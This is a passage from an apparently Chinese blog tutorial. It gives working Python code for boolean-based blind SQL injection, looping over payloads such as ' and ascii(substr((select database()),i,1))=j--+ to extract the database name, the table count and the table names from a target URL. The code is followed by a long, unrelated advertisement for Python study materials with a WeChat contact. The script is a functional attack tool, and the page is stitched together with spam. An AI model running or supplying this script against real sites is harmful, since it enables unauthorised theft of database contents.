len = l
break
print(“开始获取数据库名…”)
for i in range(1, len+1):
for j in range(33,127):
payload = f"’ and ascii(substr((select database()),{i},1))={j}–+"
res = conn.get(url=url+payload)
if flag in res.content.decode(“utf-8”):
DBName += chr(j)
print(DBName)
break
return DBName
将payload与网址进行拼接,使用requests包来访问网站,根据返回页面是否有flag出现来确认是否成功。运行结果如下所示:
接下来就是获取表、字段以及其中的具体数据了,写下去你会发现总体流程都是一样的,以表为例,大致步骤如下:
获取数量(有多少张表)–> 获取每张表表名的长度 --> 获取具体的表名
代码如下:
def GetTables(url,db):
print(“正在获取数据表数量”)
tnum = 0
t_len = 0
tname = “”
for i in range(1,50):
payload = f"'and (select count(*)table_name from information_schema.tables where table_schema=database())={i}–+"
res = conn.get(url=url + payload)
if flag in res.content.decode(“utf-8”):
tnum = i
print(f"共有{i}张表")
break
for i in range(0,tnum):
for n in range(1,50):
payload = f"‘and length(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),1))={n}–+"
res = conn.get(url=url + payload)
if flag in res.content.decode(“utf-8”):
print(f"第{i+1}张表的长度为{n}“)
t_len = n
break
for l in range(1,t_len+1):
for j in range(33,127):
payload = f”’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{l},1))={j}–+"
res = conn.get(url=url + payload)
if flag in res.content.decode(“utf-8”):
tname += chr(j)
print(tname)
break
tname += ‘,’
result_list = tname[:-1].split(“,”)
return result_list
运行结果像这样:
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数Python工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年Python开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上Python开发知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加V获取:vip1024c (备注Python)
学好 Python 不论是就业还是做副业赚钱都不错,但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料,给那些想学习 Python 的小伙伴们一点帮助!
一、Python所有方向的学习路线
Python所有方向路线就是把Python常用的技术点做整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、学习软件
工欲善其事必先利其器。学习Python常用的开发软件都在这里了,给大家节省了很多时间。
三、全套PDF电子书
书籍的好处就在于权威和体系健全,刚开始学习的时候你可以只看视频或者听某个人讲课,但等你学完之后,你觉得你掌握了,这时候建议还是得去看一下书籍,看权威技术书籍也是每个程序员必经之路。
四、入门学习视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
五、实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
六、面试资料
我们学习Python必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有阿里大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
a.png)
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-PPXZJRd6-1712439318178)]